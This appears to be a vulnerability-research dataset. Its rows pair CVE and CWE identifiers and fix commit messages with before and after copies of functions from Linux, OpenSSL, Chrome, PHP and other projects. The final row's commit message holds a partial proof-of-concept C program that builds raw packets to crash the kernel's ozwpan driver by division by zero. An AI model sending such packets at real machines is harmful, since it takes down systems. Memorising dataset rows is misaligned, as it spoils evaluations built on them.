Was: [PATCH] sound/oss/midi_synth: prevent underflow, use of
uninitialized value, and signedness issue
The offset passed to midi_synth_load_patch() can be essentially
arbitrary. If it's greater than the header length, this will result in
a copy_from_user(dst, src, negative_val). While this will just return
-EFAULT on x86, on other architectures this may cause memory corruption.
Additionally, the length field of the sysex_info structure may not be
initialized prior to its use. Finally, a signed comparison may result
in an unintentionally large loop.
On suggestion by Takashi Iwai, version two removes the offset argument
from the load_patch callbacks entirely, which also resolves similar
issues in opl3. Compile tested only.
v3 adjusts comments and hopefully gets copy offsets right.
Signed-off-by: Dan Rosenberg <drosenberg@vsecurity.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de> | midi_synth_start_note(int dev, int channel, int note, int velocity)
{
int orig_dev = synth_devs[dev]->midi_dev;
int msg, chn;
if (note < 0 || note > 127)
return 0;
if (channel < 0 || channel > 15)
return 0;
if (velocity < 0)
velocity = 0;
if (velocity > 127)
velocity = 127;
leave_sysex(dev);
msg = prev_out_status[orig_dev] & 0xf0;
chn = prev_out_status[orig_dev] & 0x0f;
if (chn == channel && msg == 0x90)
{ /*
* Use running status
*/
if (!prefix_cmd(orig_dev, note))
return 0;
midi_outc(orig_dev, note);
midi_outc(orig_dev, velocity);
} else
{
if (!prefix_cmd(orig_dev, 0x90 | (channel & 0x0f)))
return 0;
midi_outc(orig_dev, 0x90 | (channel & 0x0f)); /*
* Note on
*/
midi_outc(orig_dev, note);
midi_outc(orig_dev, velocity);
}
return 0;
}
| midi_synth_start_note(int dev, int channel, int note, int velocity)
{
int orig_dev = synth_devs[dev]->midi_dev;
int msg, chn;
if (note < 0 || note > 127)
return 0;
if (channel < 0 || channel > 15)
return 0;
if (velocity < 0)
velocity = 0;
if (velocity > 127)
velocity = 127;
leave_sysex(dev);
msg = prev_out_status[orig_dev] & 0xf0;
chn = prev_out_status[orig_dev] & 0x0f;
if (chn == channel && msg == 0x90)
{ /*
* Use running status
*/
if (!prefix_cmd(orig_dev, note))
return 0;
midi_outc(orig_dev, note);
midi_outc(orig_dev, velocity);
} else
{
if (!prefix_cmd(orig_dev, 0x90 | (channel & 0x0f)))
return 0;
midi_outc(orig_dev, 0x90 | (channel & 0x0f)); /*
* Note on
*/
midi_outc(orig_dev, note);
midi_outc(orig_dev, velocity);
}
return 0;
}
| C | linux | 0 |
CVE-2014-8275 | https://www.cvedetails.com/cve/CVE-2014-8275/ | CWE-310 | https://github.com/openssl/openssl/commit/684400ce192dac51df3d3e92b61830a6ef90be3e | 684400ce192dac51df3d3e92b61830a6ef90be3e | Fix various certificate fingerprint issues.
By using non-DER or invalid encodings outside the signed portion of a
certificate the fingerprint can be changed without breaking the signature.
Although no details of the signed portion of the certificate can be changed
this can cause problems with some applications: e.g. those using the
certificate fingerprint for blacklists.
1. Reject signatures with non zero unused bits.
If the BIT STRING containing the signature has non zero unused bits reject
the signature. All current signature algorithms require zero unused bits.
2. Check certificate algorithm consistency.
Check the AlgorithmIdentifier inside TBS matches the one in the
certificate signature. NB: this will result in signature failure
errors for some broken certificates.
3. Check DSA/ECDSA signatures use DER.
Reencode DSA/ECDSA signatures and compare with the original received
signature. Return an error if there is a mismatch.
This will reject various cases including garbage after signature
(thanks to Antti Karjalainen and Tuomo Untinen from the Codenomicon CROSS
program for discovering this case) and use of BER or invalid ASN.1 INTEGERs
(negative or with leading zeroes).
CVE-2014-8275
Reviewed-by: Emilia Käsper <emilia@openssl.org> | int X509_pubkey_digest(const X509 *data, const EVP_MD *type, unsigned char *md,
unsigned int *len)
{
ASN1_BIT_STRING *key;
key = X509_get0_pubkey_bitstr(data);
if(!key) return 0;
return EVP_Digest(key->data, key->length, md, len, type, NULL);
}
| int X509_pubkey_digest(const X509 *data, const EVP_MD *type, unsigned char *md,
unsigned int *len)
{
ASN1_BIT_STRING *key;
key = X509_get0_pubkey_bitstr(data);
if(!key) return 0;
return EVP_Digest(key->data, key->length, md, len, type, NULL);
}
| C | openssl | 0 |
CVE-2016-1613 | https://www.cvedetails.com/cve/CVE-2016-1613/ | null | https://github.com/chromium/chromium/commit/7394cf6f43d7a86630d3eb1c728fd63c621b5530 | 7394cf6f43d7a86630d3eb1c728fd63c621b5530 | Connect the LocalDB to TabManager.
Bug: 773382
Change-Id: Iec8fe5226ee175105d51f300f30b4865478ac099
Reviewed-on: https://chromium-review.googlesource.com/1118611
Commit-Queue: Sébastien Marchand <sebmarchand@chromium.org>
Reviewed-by: François Doray <fdoray@chromium.org>
Cr-Commit-Position: refs/heads/master@{#572871} | TabStripModel* tsm() { return browser()->tab_strip_model(); }
| TabStripModel* tsm() { return browser()->tab_strip_model(); }
| C | Chrome | 0 |
CVE-2016-2429 | https://www.cvedetails.com/cve/CVE-2016-2429/ | CWE-119 | https://android.googlesource.com/platform/external/flac/+/b499389da21d89d32deff500376c5ee4f8f0b04c | b499389da21d89d32deff500376c5ee4f8f0b04c | Avoid free-before-initialize vulnerability in heap
Bug: 27211885
Change-Id: Ib9c93bd9ffdde2a5f8d31a86f06e267dc9c152db
| static FLAC__StreamDecoderInitStatus init_FILE_internal_(
FLAC__StreamDecoder *decoder,
FILE *file,
FLAC__StreamDecoderWriteCallback write_callback,
FLAC__StreamDecoderMetadataCallback metadata_callback,
FLAC__StreamDecoderErrorCallback error_callback,
void *client_data,
FLAC__bool is_ogg
)
{
FLAC__ASSERT(0 != decoder);
FLAC__ASSERT(0 != file);
if(decoder->protected_->state != FLAC__STREAM_DECODER_UNINITIALIZED)
return decoder->protected_->initstate = FLAC__STREAM_DECODER_INIT_STATUS_ALREADY_INITIALIZED;
if(0 == write_callback || 0 == error_callback)
return decoder->protected_->initstate = FLAC__STREAM_DECODER_INIT_STATUS_INVALID_CALLBACKS;
/*
* To make sure that our file does not go unclosed after an error, we
* must assign the FILE pointer before any further error can occur in
* this routine.
*/
if(file == stdin)
file = get_binary_stdin_(); /* just to be safe */
decoder->private_->file = file;
return init_stream_internal_(
decoder,
file_read_callback_,
decoder->private_->file == stdin? 0: file_seek_callback_,
decoder->private_->file == stdin? 0: file_tell_callback_,
decoder->private_->file == stdin? 0: file_length_callback_,
file_eof_callback_,
write_callback,
metadata_callback,
error_callback,
client_data,
is_ogg
);
}
| static FLAC__StreamDecoderInitStatus init_FILE_internal_(
FLAC__StreamDecoder *decoder,
FILE *file,
FLAC__StreamDecoderWriteCallback write_callback,
FLAC__StreamDecoderMetadataCallback metadata_callback,
FLAC__StreamDecoderErrorCallback error_callback,
void *client_data,
FLAC__bool is_ogg
)
{
FLAC__ASSERT(0 != decoder);
FLAC__ASSERT(0 != file);
if(decoder->protected_->state != FLAC__STREAM_DECODER_UNINITIALIZED)
return decoder->protected_->initstate = FLAC__STREAM_DECODER_INIT_STATUS_ALREADY_INITIALIZED;
if(0 == write_callback || 0 == error_callback)
return decoder->protected_->initstate = FLAC__STREAM_DECODER_INIT_STATUS_INVALID_CALLBACKS;
/*
* To make sure that our file does not go unclosed after an error, we
* must assign the FILE pointer before any further error can occur in
* this routine.
*/
if(file == stdin)
file = get_binary_stdin_(); /* just to be safe */
decoder->private_->file = file;
return init_stream_internal_(
decoder,
file_read_callback_,
decoder->private_->file == stdin? 0: file_seek_callback_,
decoder->private_->file == stdin? 0: file_tell_callback_,
decoder->private_->file == stdin? 0: file_length_callback_,
file_eof_callback_,
write_callback,
metadata_callback,
error_callback,
client_data,
is_ogg
);
}
| C | Android | 0 |
CVE-2016-7480 | https://www.cvedetails.com/cve/CVE-2016-7480/ | CWE-119 | https://github.com/php/php-src/commit/61cdd1255d5b9c8453be71aacbbf682796ac77d4 | 61cdd1255d5b9c8453be71aacbbf682796ac77d4 | Fix bug #73257 and bug #73258 - SplObjectStorage unserialize allows use of non-object as key | void spl_SplObjectStorage_free_storage(zend_object *object) /* {{{ */
{
spl_SplObjectStorage *intern = spl_object_storage_from_obj(object);
zend_object_std_dtor(&intern->std);
zend_hash_destroy(&intern->storage);
if (intern->gcdata != NULL) {
efree(intern->gcdata);
}
} /* }}} */
| void spl_SplObjectStorage_free_storage(zend_object *object) /* {{{ */
{
spl_SplObjectStorage *intern = spl_object_storage_from_obj(object);
zend_object_std_dtor(&intern->std);
zend_hash_destroy(&intern->storage);
if (intern->gcdata != NULL) {
efree(intern->gcdata);
}
} /* }}} */
| C | php-src | 0 |
null | null | null | https://github.com/chromium/chromium/commit/d151a5ef5e357e7d7187fcc1aa8fbb6c31f223cb | d151a5ef5e357e7d7187fcc1aa8fbb6c31f223cb | Fix eliding, truncation issues with hostnames in security information dialog for windows, linux platforms resp.
BUG=48597
TEST=None
Review URL: http://codereview.chromium.org/2958002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@51972 0039d316-1c4b-4281-b951-d872f2087c98 | int Section::GetHeightForWidth(int width) {
int height = 0;
gfx::Size size = title_label_->GetPreferredSize();
height += size.height() + kVGapTitleToImage;
gfx::Size image_size = status_image_->GetPreferredSize();
int text_height = 0;
if (!head_line_label_->GetText().empty()) {
size = head_line_label_->GetPreferredSize();
text_height = size.height() + kVGapHeadLineToDescription;
}
int description_width =
width - image_size.width() - kHGapImageToDescription - kHGapToBorder;
text_height += description_label_->GetHeightForWidth(description_width);
height += std::max(image_size.height(), text_height);
return height;
}
| int Section::GetHeightForWidth(int width) {
int height = 0;
gfx::Size size = title_label_->GetPreferredSize();
height += size.height() + kVGapTitleToImage;
gfx::Size image_size = status_image_->GetPreferredSize();
int text_height = 0;
if (!head_line_label_->GetText().empty()) {
size = head_line_label_->GetPreferredSize();
text_height = size.height() + kVGapHeadLineToDescription;
}
int description_width =
width - image_size.width() - kHGapImageToDescription - kHGapToBorder;
text_height += description_label_->GetHeightForWidth(description_width);
height += std::max(image_size.height(), text_height);
return height;
}
| C | Chrome | 0 |
CVE-2019-11487 | https://www.cvedetails.com/cve/CVE-2019-11487/ | CWE-416 | https://github.com/torvalds/linux/commit/6b3a707736301c2128ca85ce85fb13f60b5e350a | 6b3a707736301c2128ca85ce85fb13f60b5e350a | Merge branch 'page-refs' (page ref overflow)
Merge page ref overflow branch.
Jann Horn reported that he can overflow the page ref count with
sufficient memory (and a filesystem that is intentionally extremely
slow).
Admittedly it's not exactly easy. To have more than four billion
references to a page requires a minimum of 32GB of kernel memory just
for the pointers to the pages, much less any metadata to keep track of
those pointers. Jann needed a total of 140GB of memory and a specially
crafted filesystem that leaves all reads pending (in order to not ever
free the page references and just keep adding more).
Still, we have a fairly straightforward way to limit the two obvious
user-controllable sources of page references: direct-IO like page
references gotten through get_user_pages(), and the splice pipe page
duplication. So let's just do that.
* branch page-refs:
fs: prevent page refcount overflow in pipe_buf_get
mm: prevent get_user_pages() from overflowing page refcount
mm: add 'try_get_page()' helper function
mm: make page ref count overflow check tighter and more explicit | long get_user_pages_longterm(unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas_arg)
{
struct vm_area_struct **vmas = vmas_arg;
unsigned long flags;
long rc, i;
if (!pages)
return -EINVAL;
if (!vmas) {
vmas = kcalloc(nr_pages, sizeof(struct vm_area_struct *),
GFP_KERNEL);
if (!vmas)
return -ENOMEM;
}
flags = memalloc_nocma_save();
rc = get_user_pages(start, nr_pages, gup_flags, pages, vmas);
memalloc_nocma_restore(flags);
if (rc < 0)
goto out;
if (check_dax_vmas(vmas, rc)) {
for (i = 0; i < rc; i++)
put_page(pages[i]);
rc = -EOPNOTSUPP;
goto out;
}
rc = check_and_migrate_cma_pages(start, rc, gup_flags, pages, vmas);
out:
if (vmas != vmas_arg)
kfree(vmas);
return rc;
}
| long get_user_pages_longterm(unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas_arg)
{
struct vm_area_struct **vmas = vmas_arg;
unsigned long flags;
long rc, i;
if (!pages)
return -EINVAL;
if (!vmas) {
vmas = kcalloc(nr_pages, sizeof(struct vm_area_struct *),
GFP_KERNEL);
if (!vmas)
return -ENOMEM;
}
flags = memalloc_nocma_save();
rc = get_user_pages(start, nr_pages, gup_flags, pages, vmas);
memalloc_nocma_restore(flags);
if (rc < 0)
goto out;
if (check_dax_vmas(vmas, rc)) {
for (i = 0; i < rc; i++)
put_page(pages[i]);
rc = -EOPNOTSUPP;
goto out;
}
rc = check_and_migrate_cma_pages(start, rc, gup_flags, pages, vmas);
out:
if (vmas != vmas_arg)
kfree(vmas);
return rc;
}
| C | linux | 0 |
CVE-2018-1091 | https://www.cvedetails.com/cve/CVE-2018-1091/ | CWE-119 | https://github.com/torvalds/linux/commit/c1fa0768a8713b135848f78fd43ffc208d8ded70 | c1fa0768a8713b135848f78fd43ffc208d8ded70 | powerpc/tm: Flush TM only if CPU has TM feature
Commit cd63f3c ("powerpc/tm: Fix saving of TM SPRs in core dump")
added code to access TM SPRs in flush_tmregs_to_thread(). However
flush_tmregs_to_thread() does not check if TM feature is available on
CPU before trying to access TM SPRs in order to copy live state to
thread structures. flush_tmregs_to_thread() is indeed guarded by
CONFIG_PPC_TRANSACTIONAL_MEM but it might be the case that kernel
was compiled with CONFIG_PPC_TRANSACTIONAL_MEM enabled and ran on
a CPU without TM feature available, thus rendering the execution
of TM instructions that are treated by the CPU as illegal instructions.
The fix is just to add proper checking in flush_tmregs_to_thread()
if CPU has the TM feature before accessing any TM-specific resource,
returning immediately if TM is no available on the CPU. Adding
that checking in flush_tmregs_to_thread() instead of in places
where it is called, like in vsr_get() and vsr_set(), is better because
avoids the same problem cropping up elsewhere.
Cc: stable@vger.kernel.org # v4.13+
Fixes: cd63f3c ("powerpc/tm: Fix saving of TM SPRs in core dump")
Signed-off-by: Gustavo Romero <gromero@linux.vnet.ibm.com>
Reviewed-by: Cyril Bur <cyrilbur@gmail.com>
Signed-off-by: Michael Ellerman <mpe@ellerman.id.au> | static int vsr_get(struct task_struct *target, const struct user_regset *regset,
unsigned int pos, unsigned int count,
void *kbuf, void __user *ubuf)
{
u64 buf[32];
int ret, i;
flush_tmregs_to_thread(target);
flush_fp_to_thread(target);
flush_altivec_to_thread(target);
flush_vsx_to_thread(target);
for (i = 0; i < 32 ; i++)
buf[i] = target->thread.fp_state.fpr[i][TS_VSRLOWOFFSET];
ret = user_regset_copyout(&pos, &count, &kbuf, &ubuf,
buf, 0, 32 * sizeof(double));
return ret;
}
| static int vsr_get(struct task_struct *target, const struct user_regset *regset,
unsigned int pos, unsigned int count,
void *kbuf, void __user *ubuf)
{
u64 buf[32];
int ret, i;
flush_tmregs_to_thread(target);
flush_fp_to_thread(target);
flush_altivec_to_thread(target);
flush_vsx_to_thread(target);
for (i = 0; i < 32 ; i++)
buf[i] = target->thread.fp_state.fpr[i][TS_VSRLOWOFFSET];
ret = user_regset_copyout(&pos, &count, &kbuf, &ubuf,
buf, 0, 32 * sizeof(double));
return ret;
}
| C | linux | 0 |
CVE-2018-6031 | https://www.cvedetails.com/cve/CVE-2018-6031/ | CWE-416 | https://github.com/chromium/chromium/commit/01c9a7e71ca435651723e8cbcab0b3ad4c5351e2 | 01c9a7e71ca435651723e8cbcab0b3ad4c5351e2 | [pdf] Use a temporary list when unloading pages
When traversing the |deferred_page_unloads_| list and handling the
unloads it's possible for new pages to get added to the list which will
invalidate the iterator.
This CL swaps the list with an empty list and does the iteration on the
list copy. New items that are unloaded while handling the defers will be
unloaded at a later point.
Bug: 780450
Change-Id: Ic7ced1c82227109784fb536ce19a4dd51b9119ac
Reviewed-on: https://chromium-review.googlesource.com/758916
Commit-Queue: dsinclair <dsinclair@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Cr-Commit-Position: refs/heads/master@{#515056} | void PDFiumEngine::AppendPage(PDFEngine* engine, int index) {
pages_[index]->Unload();
pages_[index]->set_calculated_links(false);
pp::Size curr_page_size = GetPageSize(index);
FPDFPage_Delete(doc_, index);
FPDF_ImportPages(doc_, static_cast<PDFiumEngine*>(engine)->doc(), "1", index);
pp::Size new_page_size = GetPageSize(index);
if (curr_page_size != new_page_size)
LoadPageInfo(true);
client_->Invalidate(GetPageScreenRect(index));
}
| void PDFiumEngine::AppendPage(PDFEngine* engine, int index) {
pages_[index]->Unload();
pages_[index]->set_calculated_links(false);
pp::Size curr_page_size = GetPageSize(index);
FPDFPage_Delete(doc_, index);
FPDF_ImportPages(doc_, static_cast<PDFiumEngine*>(engine)->doc(), "1", index);
pp::Size new_page_size = GetPageSize(index);
if (curr_page_size != new_page_size)
LoadPageInfo(true);
client_->Invalidate(GetPageScreenRect(index));
}
| C | Chrome | 0 |
CVE-2018-11596 | https://www.cvedetails.com/cve/CVE-2018-11596/ | CWE-119 | https://github.com/espruino/Espruino/commit/ce1924193862d58cb43d3d4d9dada710a8361b89 | ce1924193862d58cb43d3d4d9dada710a8361b89 | fix jsvGetString regression | JsVarRef jsvGetLastChild(const JsVar *v) {
return (JsVarRef)(v->varData.ref.lastChild | (((v->flags >> JSV_LASTCHILD_BIT_SHIFT)&JSVARREF_PACKED_BIT_MASK))<<8);
}
| JsVarRef jsvGetLastChild(const JsVar *v) {
return (JsVarRef)(v->varData.ref.lastChild | (((v->flags >> JSV_LASTCHILD_BIT_SHIFT)&JSVARREF_PACKED_BIT_MASK))<<8);
}
| C | Espruino | 0 |
CVE-2018-6063 | https://www.cvedetails.com/cve/CVE-2018-6063/ | CWE-787 | https://github.com/chromium/chromium/commit/673ce95d481ea9368c4d4d43ac756ba1d6d9e608 | 673ce95d481ea9368c4d4d43ac756ba1d6d9e608 | Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268} | ChildProcessImportance RenderProcessHostImpl::ComputeEffectiveImportance() {
ChildProcessImportance importance = ChildProcessImportance::NORMAL;
for (size_t i = 0u; i < arraysize(widget_importance_counts_); ++i) {
DCHECK_GE(widget_importance_counts_[i], 0);
if (widget_importance_counts_[i]) {
importance = static_cast<ChildProcessImportance>(i);
}
}
return importance;
}
| ChildProcessImportance RenderProcessHostImpl::ComputeEffectiveImportance() {
ChildProcessImportance importance = ChildProcessImportance::NORMAL;
for (size_t i = 0u; i < arraysize(widget_importance_counts_); ++i) {
DCHECK_GE(widget_importance_counts_[i], 0);
if (widget_importance_counts_[i]) {
importance = static_cast<ChildProcessImportance>(i);
}
}
return importance;
}
| C | Chrome | 0 |
CVE-2011-3084 | https://www.cvedetails.com/cve/CVE-2011-3084/ | CWE-264 | https://github.com/chromium/chromium/commit/744c2a2d90c3c9a33c818e1ea4b7ccb5010663a0 | 744c2a2d90c3c9a33c818e1ea4b7ccb5010663a0 | Allow browser to handle all WebUI navigations.
BUG=113496
TEST="Google Dashboard" link in Sync settings loads in new process.
Review URL: http://codereview.chromium.org/9663045
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126949 0039d316-1c4b-4281-b951-d872f2087c98 | bool NeedsExtensionWebUI(content::WebUI* web_ui,
Profile* profile,
const GURL& url) {
ExtensionService* service = profile ? profile->GetExtensionService() : NULL;
return service && service->ExtensionBindingsAllowed(url) &&
(!web_ui ||
TabContentsWrapper::GetCurrentWrapperForContents(
web_ui->GetWebContents()));
}
| bool NeedsExtensionWebUI(content::WebUI* web_ui,
Profile* profile,
const GURL& url) {
ExtensionService* service = profile ? profile->GetExtensionService() : NULL;
return service && service->ExtensionBindingsAllowed(url) &&
(!web_ui ||
TabContentsWrapper::GetCurrentWrapperForContents(
web_ui->GetWebContents()));
}
| C | Chrome | 0 |
CVE-2011-3209 | https://www.cvedetails.com/cve/CVE-2011-3209/ | CWE-189 | https://github.com/torvalds/linux/commit/f8bd2258e2d520dff28c855658bd24bdafb5102d | f8bd2258e2d520dff28c855658bd24bdafb5102d | remove div_long_long_rem
x86 is the only arch right now, which provides an optimized for
div_long_long_rem and it has the downside that one has to be very careful that
the divide doesn't overflow.
The API is a little akward, as the arguments for the unsigned divide are
signed. The signed version also doesn't handle a negative divisor and
produces worse code on 64bit archs.
There is little incentive to keep this API alive, so this converts the few
users to the new API.
Signed-off-by: Roman Zippel <zippel@linux-m68k.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: john stultz <johnstul@us.ibm.com>
Cc: Christoph Lameter <clameter@sgi.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> | static int slab_mem_going_online_callback(void *arg)
{
struct kmem_cache_node *n;
struct kmem_cache *s;
struct memory_notify *marg = arg;
int nid = marg->status_change_nid;
int ret = 0;
/*
* If the node's memory is already available, then kmem_cache_node is
* already created. Nothing to do.
*/
if (nid < 0)
return 0;
/*
* We are bringing a node online. No memory is availabe yet. We must
* allocate a kmem_cache_node structure in order to bring the node
* online.
*/
down_read(&slub_lock);
list_for_each_entry(s, &slab_caches, list) {
/*
* XXX: kmem_cache_alloc_node will fallback to other nodes
* since memory is not yet available from the node that
* is brought up.
*/
n = kmem_cache_alloc(kmalloc_caches, GFP_KERNEL);
if (!n) {
ret = -ENOMEM;
goto out;
}
init_kmem_cache_node(n);
s->node[nid] = n;
}
out:
up_read(&slub_lock);
return ret;
}
| static int slab_mem_going_online_callback(void *arg)
{
struct kmem_cache_node *n;
struct kmem_cache *s;
struct memory_notify *marg = arg;
int nid = marg->status_change_nid;
int ret = 0;
/*
* If the node's memory is already available, then kmem_cache_node is
* already created. Nothing to do.
*/
if (nid < 0)
return 0;
/*
* We are bringing a node online. No memory is availabe yet. We must
* allocate a kmem_cache_node structure in order to bring the node
* online.
*/
down_read(&slub_lock);
list_for_each_entry(s, &slab_caches, list) {
/*
* XXX: kmem_cache_alloc_node will fallback to other nodes
* since memory is not yet available from the node that
* is brought up.
*/
n = kmem_cache_alloc(kmalloc_caches, GFP_KERNEL);
if (!n) {
ret = -ENOMEM;
goto out;
}
init_kmem_cache_node(n);
s->node[nid] = n;
}
out:
up_read(&slub_lock);
return ret;
}
| C | linux | 0 |
CVE-2017-6903 | https://www.cvedetails.com/cve/CVE-2017-6903/ | CWE-269 | https://github.com/iortcw/iortcw/commit/b6ff2bcb1e4e6976d61e316175c6d7c99860fe20 | b6ff2bcb1e4e6976d61e316175c6d7c99860fe20 | All: Don't load .pk3s as .dlls, and don't load user config files from .pk3s | qboolean FS_VerifyPak( const char *pak ) {
char teststring[ BIG_INFO_STRING ];
searchpath_t *search;
for ( search = fs_searchpaths ; search ; search = search->next ) {
if ( search->pack ) {
Q_strncpyz( teststring, search->pack->pakGamename, sizeof( teststring ) );
Q_strcat( teststring, sizeof( teststring ), "/" );
Q_strcat( teststring, sizeof( teststring ), search->pack->pakBasename );
Q_strcat( teststring, sizeof( teststring ), ".pk3" );
if ( !Q_stricmp( teststring, pak ) ) {
return qtrue;
}
}
}
return qfalse;
}
| qboolean FS_VerifyPak( const char *pak ) {
char teststring[ BIG_INFO_STRING ];
searchpath_t *search;
for ( search = fs_searchpaths ; search ; search = search->next ) {
if ( search->pack ) {
Q_strncpyz( teststring, search->pack->pakGamename, sizeof( teststring ) );
Q_strcat( teststring, sizeof( teststring ), "/" );
Q_strcat( teststring, sizeof( teststring ), search->pack->pakBasename );
Q_strcat( teststring, sizeof( teststring ), ".pk3" );
if ( !Q_stricmp( teststring, pak ) ) {
return qtrue;
}
}
}
return qfalse;
}
| C | OpenJK | 0 |
CVE-2017-12187 | https://www.cvedetails.com/cve/CVE-2017-12187/ | CWE-20 | https://cgit.freedesktop.org/xorg/xserver/commit/?id=cad5a1050b7184d828aef9c1dd151c3ab649d37e | cad5a1050b7184d828aef9c1dd151c3ab649d37e | null | SProcPseudoramiXQueryVersion(ClientPtr client)
{
REQUEST(xPanoramiXQueryVersionReq);
TRACE;
swaps(&stuff->length);
REQUEST_SIZE_MATCH(xPanoramiXQueryVersionReq);
return ProcPseudoramiXQueryVersion(client);
}
| SProcPseudoramiXQueryVersion(ClientPtr client)
{
REQUEST(xPanoramiXQueryVersionReq);
TRACE;
swaps(&stuff->length);
REQUEST_SIZE_MATCH(xPanoramiXQueryVersionReq);
return ProcPseudoramiXQueryVersion(client);
}
| C | xserver | 0 |
CVE-2013-1957 | https://www.cvedetails.com/cve/CVE-2013-1957/ | CWE-264 | https://github.com/torvalds/linux/commit/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9 | 132c94e31b8bca8ea921f9f96a57d684fa4ae0a9 | vfs: Carefully propogate mounts across user namespaces
As a matter of policy MNT_READONLY should not be changable if the
original mounter had more privileges than creator of the mount
namespace.
Add the flag CL_UNPRIVILEGED to note when we are copying a mount from
a mount namespace that requires more privileges to a mount namespace
that requires fewer privileges.
When the CL_UNPRIVILEGED flag is set cause clone_mnt to set MNT_NO_REMOUNT
if any of the mnt flags that should never be changed are set.
This protects both mount propagation and the initial creation of a less
privileged mount namespace.
Cc: stable@vger.kernel.org
Acked-by: Serge Hallyn <serge.hallyn@canonical.com>
Reported-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com> | void mnt_drop_write_file(struct file *file)
{
mnt_drop_write(file->f_path.mnt);
}
| void mnt_drop_write_file(struct file *file)
{
mnt_drop_write(file->f_path.mnt);
}
| C | linux | 0 |
CVE-2018-1000040 | https://www.cvedetails.com/cve/CVE-2018-1000040/ | CWE-20 | http://git.ghostscript.com/?p=mupdf.git;a=commitdiff;h=83d4dae44c71816c084a635550acc1a51529b881;hp=f597300439e62f5e921f0d7b1e880b5c1a1f1607 | 83d4dae44c71816c084a635550acc1a51529b881 | null | fz_keep_colorspace_context(fz_context *ctx)
{
if (!ctx)
return NULL;
return fz_keep_imp(ctx, ctx->colorspace, &ctx->colorspace->ctx_refs);
}
| fz_keep_colorspace_context(fz_context *ctx)
{
if (!ctx)
return NULL;
return fz_keep_imp(ctx, ctx->colorspace, &ctx->colorspace->ctx_refs);
}
| C | ghostscript | 0 |
CVE-2015-4003 | https://www.cvedetails.com/cve/CVE-2015-4003/ | CWE-189 | https://github.com/torvalds/linux/commit/04bf464a5dfd9ade0dda918e44366c2c61fce80b | 04bf464a5dfd9ade0dda918e44366c2c61fce80b | ozwpan: divide-by-zero leading to panic
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
